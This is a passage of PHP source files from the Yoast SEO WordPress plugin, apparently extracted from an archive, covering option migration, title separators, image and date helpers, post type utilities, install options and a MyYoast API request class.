		if ( ( isset( $original ) && current_filter() === 'wpseo_double_clean_titles' ) || did_action( 'wpseo_double_clean_titles' ) > 0 ) {
			$rename = [
				'title-'           => 'title-tax-',
				'metadesc-'        => 'metadesc-tax-',
				'noindex-'         => 'noindex-tax-',
				'tax-hideeditbox-' => 'hideeditbox-tax-',

			];

			$taxonomy_names  = get_taxonomies( [ 'public' => true ], 'names' );
			$post_type_names = get_post_types( [ 'public' => true ], 'names' );
			$defaults        = $this->get_defaults();
			if ( $taxonomy_names !== [] ) {
				foreach ( $taxonomy_names as $tax ) {
					foreach ( $rename as $old_prefix => $new_prefix ) {
						if (
							( isset( $original[ $old_prefix . $tax ] ) && ! isset( $original[ $new_prefix . $tax ] ) )
							&& ( ! isset( $option_value[ $new_prefix . $tax ] )
								|| ( isset( $option_value[ $new_prefix . $tax ] )
									&& $option_value[ $new_prefix . $tax ] === $defaults[ $new_prefix . $tax ] ) )
						) {
							$option_value[ $new_prefix . $tax ] = $original[ $old_prefix . $tax ];

							/*
							 * Check if there is a cpt with the same name as the tax,
							 * if so, we should make sure that the old setting hasn't been removed.
							 */
							if ( ! isset( $post_type_names[ $tax ] ) && isset( $option_value[ $old_prefix . $tax ] ) ) {
								unset( $option_value[ $old_prefix . $tax ] );
							}
							elseif ( isset( $post_type_names[ $tax ] ) && ! isset( $option_value[ $old_prefix . $tax ] ) ) {
								$option_value[ $old_prefix . $tax ] = $original[ $old_prefix . $tax ];
							}

							if ( $old_prefix === 'tax-hideeditbox-' ) {
								unset( $option_value[ $old_prefix . $tax ] );
							}
						}
					}
				}
			}
			unset( $rename, $taxonomy_names, $post_type_names, $defaults, $tax, $old_prefix, $new_prefix );
		}

		return $option_value;
	}

	/**
	 * Make sure that any set option values relating to post_types and/or taxonomies are retained,
	 * even when that post_type or taxonomy may not yet have been registered.
	 *
	 * {@internal Overrule the abstract class version of this to make sure one extra renamed
	 *            variable key does not get removed. IMPORTANT: keep this method in line with
	 *            the parent on which it is based!}}
	 *
	 * @param string[] $dirty Original option as retrieved from the database.
	 * @param string[] $clean Filtered option where any options which shouldn't be in our option
	 *                     have already been removed and any options which weren't set
	 *                     have been set to their defaults.
	 *
	 * @return string[]
	 */
	protected function retain_variable_keys( $dirty, $clean ) {
		if ( ( is_array( $this->variable_array_key_patterns ) && $this->variable_array_key_patterns !== [] ) && ( is_array( $dirty ) && $dirty !== [] ) ) {

			// Add the extra pattern.
			$patterns   = $this->variable_array_key_patterns;
			$patterns[] = 'tax-hideeditbox-';

			/**
			 * Allow altering the array with variable array key patterns.
			 *
			 * @param array $patterns Array with the variable array key patterns.
			 */
			$patterns = apply_filters( 'wpseo_option_titles_variable_array_key_patterns', $patterns );

			foreach ( $dirty as $key => $value ) {

				// Do nothing if already in filtered option array.
				if ( isset( $clean[ $key ] ) ) {
					continue;
				}

				foreach ( $patterns as $pattern ) {
					if ( strpos( $key, $pattern ) === 0 ) {
						$clean[ $key ] = $value;
						break;
					}
				}
			}
		}

		return $clean;
	}

	/**
	 * Retrieves a list of separator options.
	 *
	 * @return string[] An array of the separator options.
	 */
	protected static function get_separator_option_list() {
		$separators = [
			'sc-dash'   => [
				'option' => '-',
				'label'  => __( 'Dash', 'wordpress-seo' ),
			],
			'sc-ndash'  => [
				'option' => '&#8211;',
				'label'  => __( 'En dash', 'wordpress-seo' ),
			],
			'sc-mdash'  => [
				'option' => '&#8212;',
				'label'  => __( 'Em dash', 'wordpress-seo' ),
			],
			'sc-colon'  => [
				'option' => ':',
				'label'  => __( 'Colon', 'wordpress-seo' ),
			],
			'sc-middot' => [
				'option' => '&#183;',
				'label'  => __( 'Middle dot', 'wordpress-seo' ),
			],
			'sc-bull'   => [
				'option' => '&#8226;',
				'label'  => __( 'Bullet', 'wordpress-seo' ),
			],
			'sc-star'   => [
				'option' => '*',
				'label'  => __( 'Asterisk', 'wordpress-seo' ),
			],
			'sc-smstar' => [
				'option' => '&#8902;',
				'label'  => __( 'Low asterisk', 'wordpress-seo' ),
			],
			'sc-pipe'   => [
				'option' => '|',
				'label'  => __( 'Vertical bar', 'wordpress-seo' ),
			],
			'sc-tilde'  => [
				'option' => '~',
				'label'  => __( 'Small tilde', 'wordpress-seo' ),
			],
			'sc-laquo'  => [
				'option' => '&#171;',
				'label'  => __( 'Left angle quotation mark', 'wordpress-seo' ),
			],
			'sc-raquo'  => [
				'option' => '&#187;',
				'label'  => __( 'Right angle quotation mark', 'wordpress-seo' ),
			],
			'sc-lt'     => [
				'option' => '&#062;',
				'label'  => __( 'Less than sign', 'wordpress-seo' ),
			],
			'sc-gt'     => [
				'option' => '&#060;',
				'label'  => __( 'Greater than sign', 'wordpress-seo' ),
			],
		];

		/**
		 * Allows altering the separator options array.
		 *
		 * @param array $separators Array with the separator options.
		 */
		$separator_list = apply_filters( 'wpseo_separator_option_list', $separators );

		if ( ! is_array( $separator_list ) ) {
			return $separators;
		}

		return $separator_list;
	}
}
wordpress-seo/inc/date-helper.php000064400000003330147510273100013033 0ustar00<?php
/**
 * Date helper class.
 *
 * @package WPSEO\Internals
 */

/**
 * Class WPSEO_Date_Helper
 *
 * Note: Move this class with namespace to the src/helpers directory and add a class_alias for BC.
 */
class WPSEO_Date_Helper {

	/**
	 * Formats a given date in UTC TimeZone format.
	 *
	 * @param string $date   String representing the date / time.
	 * @param string $format The format that the passed date should be in.
	 *
	 * @return string The formatted date.
	 */
	public function format( $date, $format = DATE_W3C ) {
		return YoastSEO()->helpers->date->format( $date, $format );
	}

	/**
	 * Formats the given timestamp to the needed format.
	 *
	 * @param int    $timestamp The timestamp to use for the formatting.
	 * @param string $format    The format that the passed date should be in.
	 *
	 * @return string The formatted date.
	 */
	public function format_timestamp( $timestamp, $format = DATE_W3C ) {
		return YoastSEO()->helpers->date->format_timestamp( $timestamp, $format );
	}

	/**
	 * Formats a given date in UTC TimeZone format and translate it to the set language.
	 *
	 * @param string $date   String representing the date / time.
	 * @param string $format The format that the passed date should be in.
	 *
	 * @return string The formatted and translated date.
	 */
	public function format_translated( $date, $format = DATE_W3C ) {
		return YoastSEO()->helpers->date->format_translated( $date, $format );
	}

	/**
	 * Check if a string is a valid datetime.
	 *
	 * @param string $datetime String input to check as valid input for DateTime class.
	 *
	 * @return bool True when datatime is valid.
	 */
	public function is_valid_datetime( $datetime ) {
		return YoastSEO()->helpers->date->is_valid_datetime( $datetime );
	}
}
wordpress-seo/inc/class-wpseo-image-utils.php000064400000036135147510273100015330 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * WPSEO_Image_Utils.
 */
class WPSEO_Image_Utils {

	/**
	 * Find an attachment ID for a given URL.
	 *
	 * @param string $url The URL to find the attachment for.
	 *
	 * @return int The found attachment ID, or 0 if none was found.
	 */
	public static function get_attachment_by_url( $url ) {
		/*
		 * As get_attachment_by_url won't work on resized versions of images,
		 * we strip out the size part of an image URL.
		 */
		$url = preg_replace( '/(.*)-\d+x\d+\.(jpg|png|gif)$/', '$1.$2', $url );

		static $uploads;

		if ( $uploads === null ) {
			$uploads = wp_get_upload_dir();
		}

		// Don't try to do this for external URLs.
		if ( strpos( $url, $uploads['baseurl'] ) !== 0 ) {
			return 0;
		}

		if ( function_exists( 'wpcom_vip_attachment_url_to_postid' ) ) {
			// @codeCoverageIgnoreStart -- We can't test this properly.
			return (int) wpcom_vip_attachment_url_to_postid( $url );
			// @codeCoverageIgnoreEnd -- The rest we _can_ test.
		}

		return self::attachment_url_to_postid( $url );
	}

	/**
	 * Implements the attachment_url_to_postid with use of WP Cache.
	 *
	 * @param string $url The attachment URL for which we want to know the Post ID.
	 *
	 * @return int The Post ID belonging to the attachment, 0 if not found.
	 */
	protected static function attachment_url_to_postid( $url ) {
		$cache_key = sprintf( 'yoast_attachment_url_post_id_%s', md5( $url ) );

		// Set the ID based on the hashed URL in the cache.
		$id = wp_cache_get( $cache_key );

		if ( $id === 'not_found' ) {
			return 0;
		}

		// ID is found in cache, return.
		if ( $id !== false ) {
			return $id;
		}

		// Note: We use the WP COM version if we can, see above.
		$id = attachment_url_to_postid( $url );

		if ( empty( $id ) ) {
			/**
			 * If no ID was found, maybe we're dealing with a scaled big image. So, let's try that.
			 *
			 * @see https://core.trac.wordpress.org/ticket/51058
			 */
			$id = self::get_scaled_image_id( $url );
		}

		if ( empty( $id ) ) {
			wp_cache_set( $cache_key, 'not_found', '', ( 12 * HOUR_IN_SECONDS + wp_rand( 0, ( 4 * HOUR_IN_SECONDS ) ) ) );
			return 0;
		}

		// We have the Post ID, but it's not in the cache yet. We do that here and return.
		wp_cache_set( $cache_key, $id, '', ( 24 * HOUR_IN_SECONDS + wp_rand( 0, ( 12 * HOUR_IN_SECONDS ) ) ) );
		return $id;
	}

	/**
	 * Tries getting the ID of a potentially scaled image.
	 *
	 * @param string $url The URL of the image.
	 *
	 * @return int|false The ID of the image or false for failure.
	 */
	protected static function get_scaled_image_id( $url ) {
		$path_parts = pathinfo( $url );
		if ( isset( $path_parts['dirname'], $path_parts['filename'], $path_parts['extension'] ) ) {
			$scaled_url = trailingslashit( $path_parts['dirname'] ) . $path_parts['filename'] . '-scaled.' . $path_parts['extension'];

			return attachment_url_to_postid( $scaled_url );
		}

		return false;
	}

	/**
	 * Retrieves the image data.
	 *
	 * @param array $image         Image array with URL and metadata.
	 * @param int   $attachment_id Attachment ID.
	 *
	 * @return false|array {
	 *     Array of image data
	 *
	 *     @type string $alt      Image's alt text.
	 *     @type string $path     Path of image.
	 *     @type int    $width    Width of image.
	 *     @type int    $height   Height of image.
	 *     @type string $type     Image's MIME type.
	 *     @type string $size     Image's size.
	 *     @type string $url      Image's URL.
	 *     @type int    $filesize The file size in bytes, if already set.
	 * }
	 */
	public static function get_data( $image, $attachment_id ) {
		if ( ! is_array( $image ) ) {
			return false;
		}

		// Deals with non-set keys and values being null or false.
		if ( empty( $image['width'] ) || empty( $image['height'] ) ) {
			return false;
		}

		$image['id']     = $attachment_id;
		$image['alt']    = self::get_alt_tag( $attachment_id );
		$image['pixels'] = ( (int) $image['width'] * (int) $image['height'] );

		if ( ! isset( $image['type'] ) ) {
			$image['type'] = get_post_mime_type( $attachment_id );
		}

		/**
		 * Filter: 'wpseo_image_data' - Filter image data.
		 *
		 * Elements with keys not listed in the section will be discarded.
		 *
		 * @param array $image_data {
		 *     Array of image data
		 *
		 *     @type int    id       Image's ID as an attachment.
		 *     @type string alt      Image's alt text.
		 *     @type string path     Image's path.
		 *     @type int    width    Width of image.
		 *     @type int    height   Height of image.
		 *     @type int    pixels   Number of pixels in the image.
		 *     @type string type     Image's MIME type.
		 *     @type string size     Image's size.
		 *     @type string url      Image's URL.
		 *     @type int    filesize The file size in bytes, if already set.
		 * }
		 * @param int   $attachment_id Attachment ID.
		 */
		$image = apply_filters( 'wpseo_image_data', $image, $attachment_id );

		// Keep only the keys we need, and nothing else.
		return array_intersect_key( $image, array_flip( [ 'id', 'alt', 'path', 'width', 'height', 'pixels', 'type', 'size', 'url', 'filesize' ] ) );
	}

	/**
	 * Checks a size version of an image to see if it's not too heavy.
	 *
	 * @param array $image Image to check the file size of.
	 *
	 * @return bool True when the image is within limits, false if not.
	 */
	public static function has_usable_file_size( $image ) {
		if ( ! is_array( $image ) || $image === [] ) {
			return false;
		}

		/**
		 * Filter: 'wpseo_image_image_weight_limit' - Determines what the maximum weight
		 * (in bytes) of an image is allowed to be, default is 2 MB.
		 *
		 * @param int $max_bytes The maximum weight (in bytes) of an image.
		 */
		$max_size = apply_filters( 'wpseo_image_image_weight_limit', 2097152 );

		// We cannot check without a path, so assume it's fine.
		if ( ! isset( $image['path'] ) ) {
			return true;
		}

		return ( self::get_file_size( $image ) <= $max_size );
	}

	/**
	 * Find the right version of an image based on size.
	 *
	 * @param int          $attachment_id Attachment ID.
	 * @param string|array $size          Size name, or array of width and height in pixels (e.g [800,400]).
	 *
	 * @return array|false Returns an array with image data on success, false on failure.
	 */
	public static function get_image( $attachment_id, $size ) {
		$image = false;
		if ( $size === 'full' ) {
			$image = self::get_full_size_image_data( $attachment_id );
		}

		if ( ! $image ) {
			$image = image_get_intermediate_size( $attachment_id, $size );
		}

		if ( ! is_array( $image ) ) {
			$image_src = wp_get_attachment_image_src( $attachment_id, $size );
			if ( is_array( $image_src ) && isset( $image_src[1] ) && isset( $image_src[2] ) ) {
				$image           = [];
				$image['url']    = $image_src[0];
				$image['width']  = $image_src[1];
				$image['height'] = $image_src[2];
				$image['size']   = 'full';
			}
		}

		if ( ! $image ) {
			return false;
		}

		if ( ! isset( $image['size'] ) ) {
			$image['size'] = $size;
		}

		return self::get_data( $image, $attachment_id );
	}

	/**
	 * Returns the image data for the full size image.
	 *
	 * @param int $attachment_id Attachment ID.
	 *
	 * @return array|false Array when there is a full size image. False if not.
	 */
	protected static function get_full_size_image_data( $attachment_id ) {
		$image = wp_get_attachment_metadata( $attachment_id );
		if ( ! is_array( $image ) ) {
			return false;
		}

		$image['url']  = wp_get_attachment_image_url( $attachment_id, 'full' );
		$image['path'] = get_attached_file( $attachment_id );
		$image['size'] = 'full';

		return $image;
	}

	/**
	 * Finds the full file path for a given image file.
	 *
	 * @param string $path The relative file path.
	 *
	 * @return string The full file path.
	 */
	public static function get_absolute_path( $path ) {
		static $uploads;

		if ( $uploads === null ) {
			$uploads = wp_get_upload_dir();
		}

		// Add the uploads basedir if the path does not start with it.
		if ( empty( $uploads['error'] ) && strpos( $path, $uploads['basedir'] ) !== 0 ) {
			return $uploads['basedir'] . DIRECTORY_SEPARATOR . ltrim( $path, DIRECTORY_SEPARATOR );
		}

		return $path;
	}

	/**
	 * Get the relative path of the image.
	 *
	 * @param string $img Image URL.
	 *
	 * @return string The expanded image URL.
	 */
	public static function get_relative_path( $img ) {
		if ( $img[0] !== '/' ) {
			return $img;
		}

		// If it's a relative URL, it's relative to the domain, not necessarily to the WordPress install, we
		// want to preserve domain name and URL scheme (http / https) though.
		$parsed_url = wp_parse_url( home_url() );
		$img        = $parsed_url['scheme'] . '://' . $parsed_url['host'] . $img;

		return $img;
	}

	/**
	 * Get the image file size.
	 *
	 * @param array $image An image array object.
	 *
	 * @return int The file size in bytes.
	 */
	public static function get_file_size( $image ) {
		if ( isset( $image['filesize'] ) ) {
			return $image['filesize'];
		}

		if ( ! isset( $image['path'] ) ) {
			return 0;
		}

		// If the file size for the file is over our limit, we're going to go for a smaller version.
		if ( function_exists( 'wp_filesize' ) ) {
			return wp_filesize( self::get_absolute_path( $image['path'] ) );
		}

		return file_exists( $image['path'] ) ? (int) filesize( $image['path'] ) : 0;
	}

	/**
	 * Returns the different image variations for consideration.
	 *
	 * @param int $attachment_id The attachment to return the variations for.
	 *
	 * @return array The different variations possible for this attachment ID.
	 */
	public static function get_variations( $attachment_id ) {
		$variations = [];

		foreach ( self::get_sizes() as $size ) {
			$variation = self::get_image( $attachment_id, $size );

			// The get_image function returns false if the size doesn't exist for this attachment.
			if ( $variation ) {
				$variations[] = $variation;
			}
		}

		return $variations;
	}

	/**
	 * Check original size of image. If original image is too small, return false, else return true.
	 *
	 * Filters a list of variations by a certain set of usable dimensions.
	 *
	 * @param array $usable_dimensions {
	 *    The parameters to check against.
	 *
	 *    @type int    $min_width     Minimum width of image.
	 *    @type int    $max_width     Maximum width of image.
	 *    @type int    $min_height    Minimum height of image.
	 *    @type int    $max_height    Maximum height of image.
	 * }
	 * @param array $variations        The variations that should be considered.
	 *
	 * @return array Whether a variation is fit for display or not.
	 */
	public static function filter_usable_dimensions( $usable_dimensions, $variations ) {
		$filtered = [];

		foreach ( $variations as $variation ) {
			$dimensions = $variation;

			if ( self::has_usable_dimensions( $dimensions, $usable_dimensions ) ) {
				$filtered[] = $variation;
			}
		}

		return $filtered;
	}

	/**
	 * Filters a list of variations by (disk) file size.
	 *
	 * @param array $variations The variations to consider.
	 *
	 * @return array The validations that pass the required file size limits.
	 */
	public static function filter_usable_file_size( $variations ) {
		foreach ( $variations as $variation ) {
			// We return early to prevent measuring the file size of all the variations.
			if ( self::has_usable_file_size( $variation ) ) {
				return [ $variation ];
			}
		}

		return [];
	}

	/**
	 * Retrieve the internal WP image file sizes.
	 *
	 * @return array An array of image sizes.
	 */
	public static function get_sizes() {
		/**
		 * Filter: 'wpseo_image_sizes' - Determines which image sizes we'll loop through to get an appropriate image.
		 *
		 * @param array<string> $sizes The array of image sizes to loop through.
		 */
		return apply_filters( 'wpseo_image_sizes', [ 'full', 'large', 'medium_large' ] );
	}

	/**
	 * Grabs an image alt text.
	 *
	 * @param int $attachment_id The attachment ID.
	 *
	 * @return string The image alt text.
	 */
	public static function get_alt_tag( $attachment_id ) {
		return (string) get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );
	}

	/**
	 * Checks whether an img sizes up to the parameters.
	 *
	 * @param array $dimensions        The image values.
	 * @param array $usable_dimensions The parameters to check against.
	 *
	 * @return bool True if the image has usable measurements, false if not.
	 */
	private static function has_usable_dimensions( $dimensions, $usable_dimensions ) {
		foreach ( [ 'width', 'height' ] as $param ) {
			$minimum = $usable_dimensions[ 'min_' . $param ];
			$maximum = $usable_dimensions[ 'max_' . $param ];

			$current = $dimensions[ $param ];
			if ( ( $current < $minimum ) || ( $current > $maximum ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Gets the post's first usable content image. Null if none is available.
	 *
	 * @param int|null $post_id The post id.
	 *
	 * @return string|null The image URL.
	 */
	public static function get_first_usable_content_image_for_post( $post_id = null ) {
		$post = get_post( $post_id );

		// We know get_post() returns the post or null.
		if ( ! $post ) {
			return null;
		}

		$image_finder = new WPSEO_Content_Images();
		$images       = $image_finder->get_images( $post->ID, $post );

		return self::get_first_image( $images );
	}

	/**
	 * Gets the term's first usable content image. Null if none is available.
	 *
	 * @param int $term_id The term id.
	 *
	 * @return string|null The image URL.
	 */
	public static function get_first_content_image_for_term( $term_id ) {
		$term_description = term_description( $term_id );

		// We know term_description() returns a string which may be empty.
		if ( $term_description === '' ) {
			return null;
		}

		$image_finder = new WPSEO_Content_Images();
		$images       = $image_finder->get_images_from_content( $term_description );

		return self::get_first_image( $images );
	}

	/**
	 * Retrieves an attachment ID for an image uploaded in the settings.
	 *
	 * Due to self::get_attachment_by_url returning 0 instead of false.
	 * 0 is also a possibility when no ID is available.
	 *
	 * @param string $setting The setting the image is stored in.
	 *
	 * @return int|bool The attachment id, or false or 0 if no ID is available.
	 */
	public static function get_attachment_id_from_settings( $setting ) {
		$image_id = WPSEO_Options::get( $setting . '_id', false );
		if ( $image_id ) {
			return $image_id;
		}

		$image = WPSEO_Options::get( $setting, false );
		if ( $image ) {
			// There is not an option to put a URL in an image field in the settings anymore, only to upload it through the media manager.
			// This means an attachment always exists, so doing this is only needed once.
			$image_id = self::get_attachment_by_url( $image );
		}

		// Only store a new ID if it is not 0, to prevent an update loop.
		if ( $image_id ) {
			WPSEO_Options::set( $setting . '_id', $image_id );
		}

		return $image_id;
	}

	/**
	 * Retrieves the first possible image url from an array of images.
	 *
	 * @param array $images The array to extract image url from.
	 *
	 * @return string|null The extracted image url when found, null when not found.
	 */
	protected static function get_first_image( $images ) {
		if ( ! is_array( $images ) ) {
			return null;
		}

		$images = array_filter( $images );
		if ( empty( $images ) ) {
			return null;
		}

		return reset( $images );
	}
}
wordpress-seo/inc/class-post-type.php000064400000007622147510273100013720 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Inc
 */

/**
 * Represents the post type utils.
 */
class WPSEO_Post_Type {

	/**
	 * Returns an array with the accessible post types.
	 *
	 * An accessible post type is a post type that is public and isn't set as no-index (robots).
	 *
	 * @return array Array with all the accessible post_types.
	 */
	public static function get_accessible_post_types() {
		return YoastSEO()->helpers->post_type->get_accessible_post_types();
	}

	/**
	 * Returns whether the passed post type is considered accessible.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool Whether or not the post type is considered accessible.
	 */
	public static function is_post_type_accessible( $post_type ) {
		return in_array( $post_type, self::get_accessible_post_types(), true );
	}

	/**
	 * Checks if the request post type is public and indexable.
	 *
	 * @param string $post_type_name The name of the post type to lookup.
	 *
	 * @return bool True when post type is set to index.
	 */
	public static function is_post_type_indexable( $post_type_name ) {
		return YoastSEO()->helpers->post_type->is_indexable( $post_type_name );
	}

	/**
	 * Filters the attachment post type from an array with post_types.
	 *
	 * @param array $post_types The array to filter the attachment post type from.
	 *
	 * @return array The filtered array.
	 */
	public static function filter_attachment_post_type( array $post_types ) {
		if ( WPSEO_Options::get( 'disable-attachment' ) === true ) {
			unset( $post_types['attachment'] );
		}

		return $post_types;
	}

	/**
	 * Checks if the post type is enabled in the REST API.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool Whether or not the post type is available in the REST API.
	 */
	public static function is_rest_enabled( $post_type ) {
		$post_type_object = get_post_type_object( $post_type );

		if ( $post_type_object === null ) {
			return false;
		}

		return $post_type_object->show_in_rest === true;
	}

	/**
	 * Checks if the current post type has an archive.
	 *
	 * Context: The has_archive value can be a string or a boolean. In most case it will be a boolean,
	 * but it can be defined as a string. When it is a string the archive_slug will be overwritten to
	 * define another endpoint.
	 *
	 * @param WP_Post_Type $post_type The post type object.
	 *
	 * @return bool True whether the post type has an archive.
	 */
	public static function has_archive( $post_type ) {
		return YoastSEO()->helpers->post_type->has_archive( $post_type );
	}

	/**
	 * Checks if the Yoast Metabox has been enabled for the post type.
	 *
	 * @param string $post_type The post type name.
	 *
	 * @return bool True whether the metabox is enabled.
	 */
	public static function has_metabox_enabled( $post_type ) {
		return WPSEO_Options::get( 'display-metabox-pt-' . $post_type, false );
	}

	/* ********************* DEPRECATED METHODS ********************* */

	/**
	 * Removes the notification related to the post types which have been made public.
	 *
	 * @deprecated 20.10
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public static function remove_post_types_made_public_notification() {
		_deprecated_function( __METHOD__, 'Yoast SEO 20.10', 'Content_Type_Visibility_Dismiss_Notifications::dismiss_notifications' );
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'post-types-made-public' );
	}

	/**
	 * Removes the notification related to the taxonomies which have been made public.
	 *
	 * @deprecated 20.10
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public static function remove_taxonomies_made_public_notification() {
		_deprecated_function( __METHOD__, 'Yoast SEO 20.10', 'Content_Type_Visibility_Dismiss_Notifications::dismiss_notifications' );
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'taxonomies-made-public' );
	}
}
wordpress-seo/inc/class-wpseo-installation.php000064400000002163147510273100015603 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   3.6
 */

/**
 * This class checks if the wpseo option doesn't exists. In the case it doesn't it will set a property that is
 * accessible via a method to check if the installation is fresh.
 */
class WPSEO_Installation {

	/**
	 * Checks if Yoast SEO is installed for the first time.
	 */
	public function __construct() {
		$is_first_install = $this->is_first_install();

		if ( $is_first_install && WPSEO_Utils::is_api_available() ) {
			add_action( 'wpseo_activate', [ $this, 'set_first_install_options' ] );
		}
	}

	/**
	 * When the option doesn't exist, it should be a new install.
	 *
	 * @return bool
	 */
	private function is_first_install() {
		return ( get_option( 'wpseo' ) === false );
	}

	/**
	 * Sets the options on first install for showing the installation notice and disabling of the settings pages.
	 *
	 * @return void
	 */
	public function set_first_install_options() {
		$options = get_option( 'wpseo' );

		$options['show_onboarding_notice'] = true;
		$options['first_activated_on']     = time();

		update_option( 'wpseo', $options );
	}
}
wordpress-seo/inc/class-my-yoast-api-request.php000064400000011432147510273100015765 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Inc
 */

/**
 * Handles requests to MyYoast.
 */
class WPSEO_MyYoast_Api_Request {

	/**
	 * The Request URL.
	 *
	 * @var string
	 */
	protected $url;

	/**
	 * The request parameters.
	 *
	 * @var array
	 */
	protected $args = [
		'method'    => 'GET',
		'timeout'   => 5,
		'headers'   => [
			'Accept-Encoding' => '*',
			'Expect'          => '',
		],
	];

	/**
	 * Contains the fetched response.
	 *
	 * @var stdClass
	 */
	protected $response;

	/**
	 * Contains the error message when request went wrong.
	 *
	 * @var string
	 */
	protected $error_message = '';

	/**
	 * Constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $url  The request url.
	 * @param array  $args The request arguments.
	 */
	public function __construct( $url, array $args = [] ) {
		$this->url  = 'https://my.yoast.com/api/' . $url;
		$this->args = wp_parse_args( $args, $this->args );
	}

	/**
	 * Fires the request.
	 *
	 * @return bool True when request is successful.
	 */
	public function fire() {
		try {
			$response       = $this->do_request( $this->url, $this->args );
			$this->response = $this->decode_response( $response );

			return true;
		}
		catch ( WPSEO_MyYoast_Bad_Request_Exception $bad_request_exception ) {
			$this->error_message = $bad_request_exception->getMessage();

			return false;
		}
	}

	/**
	 * Retrieves the error message.
	 *
	 * @return string The set error message.
	 */
	public function get_error_message() {
		return $this->error_message;
	}

	/**
	 * Retrieves the response.
	 *
	 * @return stdClass The response object.
	 */
	public function get_response() {
		return $this->response;
	}

	/**
	 * Performs the request using WordPress internals.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $url               The request URL.
	 * @param array  $request_arguments The request arguments.
	 *
	 * @return string                                 The retrieved body.
	 * @throws WPSEO_MyYoast_Bad_Request_Exception    When request is invalid.
	 */
	protected function do_request( $url, $request_arguments ) {
		$request_arguments = $this->enrich_request_arguments( $request_arguments );
		$response          = wp_remote_request( $url, $request_arguments );

		if ( is_wp_error( $response ) ) {
			throw new WPSEO_MyYoast_Bad_Request_Exception( $response->get_error_message() );
		}

		$response_code    = wp_remote_retrieve_response_code( $response );
		$response_message = wp_remote_retrieve_response_message( $response );

		// Do nothing, response code is okay.
		if ( $response_code === 200 || strpos( $response_code, '200' ) !== false ) {
			return wp_remote_retrieve_body( $response );
		}

		throw new WPSEO_MyYoast_Bad_Request_Exception( esc_html( $response_message ), (int) $response_code );
	}

	/**
	 * Decodes the JSON encoded response.
	 *
	 * @param string $response The response to decode.
	 *
	 * @return stdClass                             The json decoded response.
	 * @throws WPSEO_MyYoast_Invalid_JSON_Exception When decoded string is not a JSON object.
	 */
	protected function decode_response( $response ) {
		$response = json_decode( $response );

		if ( ! is_object( $response ) ) {
			throw new WPSEO_MyYoast_Invalid_JSON_Exception(
				esc_html__( 'No JSON object was returned.', 'wordpress-seo' )
			);
		}

		return $response;
	}

	/**
	 * Checks if MyYoast tokens are allowed and adds the token to the request body.
	 *
	 * When tokens are disallowed it will add the url to the request body.
	 *
	 * @param array $request_arguments The arguments to enrich.
	 *
	 * @return array The enriched arguments.
	 */
	protected function enrich_request_arguments( array $request_arguments ) {
		$request_arguments     = wp_parse_args( $request_arguments, [ 'headers' => [] ] );
		$addon_version_headers = $this->get_installed_addon_versions();

		foreach ( $addon_version_headers as $addon => $version ) {
			$request_arguments['headers'][ $addon . '-version' ] = $version;
		}

		$request_body = $this->get_request_body();
		if ( $request_body !== [] ) {
			$request_arguments['body'] = $request_body;
		}

		return $request_arguments;
	}

	/**
	 * Retrieves the request body based on URL or access token support.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array The request body.
	 */
	public function get_request_body() {
		return [ 'url' => WPSEO_Utils::get_home_url() ];
	}

	/**
	 * Wraps the get current user id function.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return int The user id.
	 */
	protected function get_current_user_id() {
		return get_current_user_id();
	}

	/**
	 * Retrieves the installed addons as http headers.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array The installed addon versions.
	 */
	protected function get_installed_addon_versions() {
		$addon_manager = new WPSEO_Addon_Manager();

		return $addon_manager->get_installed_addons_versions();
	}
}
wordpress-seo/inc/language-utils.php000064400000002441147510273100013564 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   5.9.0
 */

/**
 * Group of language utility methods for use by WPSEO.
 * All methods are static, this is just a sort of namespacing class wrapper.
 */
class WPSEO_Language_Utils {

	/**
	 * Returns the language part of a given locale, defaults to english when the $locale is empty.
	 *
	 * @param string|null $locale The locale to get the language of.
	 *
	 * @return string The language part of the locale.
	 */
	public static function get_language( $locale = null ) {
		$language = 'en';

		if ( empty( $locale ) || ! is_string( $locale ) ) {
			return $language;
		}

		$locale_parts = explode( '_', $locale );

		if ( ! empty( $locale_parts[0] ) && ( strlen( $locale_parts[0] ) === 2 || strlen( $locale_parts[0] ) === 3 ) ) {
			$language = $locale_parts[0];
		}

		return $language;
	}

	/**
	 * Returns the full name for the sites' language.
	 *
	 * @return string The language name.
	 */
	public static function get_site_language_name() {
		require_once ABSPATH . 'wp-admin/includes/translation-install.php';

		$translations = wp_get_available_translations();
		$locale       = get_locale();
		$language     = isset( $translations[ $locale ] ) ? $translations[ $locale ]['native_name'] : 'English (US)';

		return $language;
	}
}
wordpress-seo/inc/class-wpseo-utils.php000064400000071040147510273100014242 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   1.8.0
 */

use Yoast\WP\SEO\Integrations\Feature_Flag_Integration;

/**
 * Group of utility methods for use by WPSEO.
 * All methods are static, this is just a sort of namespacing class wrapper.
 */
class WPSEO_Utils {

	/**
	 * Whether the PHP filter extension is enabled.
	 *
	 * @since 1.8.0
	 *
	 * @var bool
	 */
	public static $has_filters;

	/**
	 * Check whether file editing is allowed for the .htaccess and robots.txt files.
	 *
	 * {@internal current_user_can() checks internally whether a user is on wp-ms and adjusts accordingly.}}
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function allow_system_file_edit() {
		$allowed = true;

		if ( current_user_can( 'edit_files' ) === false ) {
			$allowed = false;
		}

		/**
		 * Filter: 'wpseo_allow_system_file_edit' - Allow developers to change whether the editing of
